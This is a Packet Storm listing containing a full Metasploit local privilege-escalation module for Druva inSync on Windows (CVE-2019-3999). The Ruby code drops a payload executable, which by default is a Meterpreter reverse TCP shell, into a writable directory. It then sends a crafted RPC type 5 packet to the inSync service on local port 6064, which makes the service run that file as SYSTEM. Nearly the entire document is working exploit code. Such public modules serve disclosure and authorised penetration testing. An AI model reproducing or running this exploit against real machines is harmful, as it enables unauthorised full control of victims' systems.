Druva inSync inSyncCPHwnet64.exe RPC Type 5 Privilege Escalation

2020-05-12T00:00:00
ID PACKETSTORM:157680
Type packetstorm
Reporter Brendan Coles
Modified 2020-05-12T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Post::File  
include Post::Windows::Priv  
include Post::Windows::Services  
include Exploit::EXE  
include Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
{  
'Name' => 'Druva inSync inSyncCPHwnet64.exe RPC Type 5 Privilege Escalation',  
'Description' => %q{  
Druva inSync client for Windows exposes a network service on TCP port  
6064 on the local network interface. inSync versions 6.5.2 and prior  
do not validate user-supplied program paths in RPC type 5 messages,  
allowing execution of arbitrary commands as SYSTEM.  
This module has been tested successfully on inSync version  
6.5.2r99097 on Windows 7 SP1 (x64).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Chris Lyne', # Discovery and Python exploit (@lynerc)  
'bcoles' # Metasploit  
],  
'References' =>  
[  
['CVE', '2019-3999'],  
['EDB', '48400'],  
['PACKETSTORM', '157493'],  
['URL', 'https://www.tenable.com/security/research/tra-2020-12'],  
['URL', 'https://github.com/tenable/poc/blob/master/druva/inSync/druva_win_cphwnet64.py'],  
],  
'Platform' =>  
[  
'win'  
],  
'SessionTypes' =>  
[  
'meterpreter'  
],  
'Targets' =>  
[  
[  
'Automatic',  
{}  
]  
],  
'DisclosureDate' => '2020-02-25',  
'DefaultOptions' =>  
{  
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'  
},  
'Notes' =>  
{  
'Reliability' =>  
[  
REPEATABLE_SESSION  
],  
'Stability' =>  
[  
CRASH_SAFE  
]  
},  
'DefaultTarget' => 0  
}  
)  
)  
register_advanced_options([  
OptString.new(  
'WritableDir',  
[  
false,  
'A directory where we can write files (%TEMP% by default)',  
nil  
]  
),  
])  
end  
  
def base_dir  
datastore['WritableDir'].blank? ? session.sys.config.getenv('TEMP') : datastore['WritableDir'].to_s  
end  
  
def service_exists?(service)  
srv_info = service_info(service)  
  
if srv_info.nil?  
vprint_warning('Unable to enumerate Windows services')  
return false  
end  
  
if srv_info && srv_info[:display].empty?  
return false  
end  
  
true  
end  
  
def execute_command(host, port, command)  
header = 'inSync PHC RPCW[v0002]'  
rpc_type = [5].pack('V')  
cmd = command.force_encoding('UTF-8').unpack('U*').pack('v*')  
  
pkt = header  
pkt << rpc_type  
pkt << [cmd.length].pack('V')  
pkt << cmd  
  
result = session.railgun.ws2_32.WSASocketA('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP', nil, nil, 0)  
  
unless result['GetLastError'] == 0  
fail_with(Failure::Unknown, "Could not create socket: #{result['ErrorMessage']}")  
end  
  
socket = result['return']  
  
sock_addr = [AF_INET].pack('v')  
sock_addr << [port].pack('n')  
sock_addr << Rex::Socket.addr_aton(host)  
sock_addr << "\x00" * 8  
  
print_status("Connecting to #{host}:#{port} ...")  
  
result = client.railgun.ws2_32.connect(socket, sock_addr, sock_addr.length)  
  
unless result['GetLastError'] == 0  
fail_with(Failure::Unreachable, "Could not connect to #{host}:#{port} : #{result['ErrorMessage']}")  
end  
  
print_status("Sending packet (#{pkt.length} bytes) to #{host}:#{port} ...")  
vprint_status("Sending: #{pkt.inspect}")  
  
result = session.railgun.ws2_32.sendto(socket, pkt, pkt.length, 0, sock_addr, sock_addr.length)  
  
unless result['GetLastError'] == 0  
fail_with(Failure::NotVulnerable, "Could not send data to port: #{result['ErrorMessage']}")  
end  
  
session.railgun.ws2_32.closesocket(socket)  
end  
  
def check  
service = 'inSyncCPHService'  
  
unless service_exists?(service)  
return CheckCode::Safe("Service '#{service}' does not exist")  
end  
  
CheckCode::Detected("Service '#{service}' exists")  
end  
  
def exploit  
unless check == CheckCode::Detected  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')  
end  
  
if is_system?  
fail_with(Failure::BadConfig, 'Session already has SYSTEM privileges')  
end  
  
payload_path = "#{base_dir}\\#{Rex::Text.rand_text_alphanumeric(8..10)}.exe"  
payload_exe = generate_payload_exe  
vprint_status("Writing payload (#{payload.encoded.length} bytes) to #{payload_path} ...")  
write_file(payload_path, payload_exe)  
register_file_for_cleanup(payload_path)  
  
execute_command('127.0.0.1', 6064, payload_path)  
end  
end  
`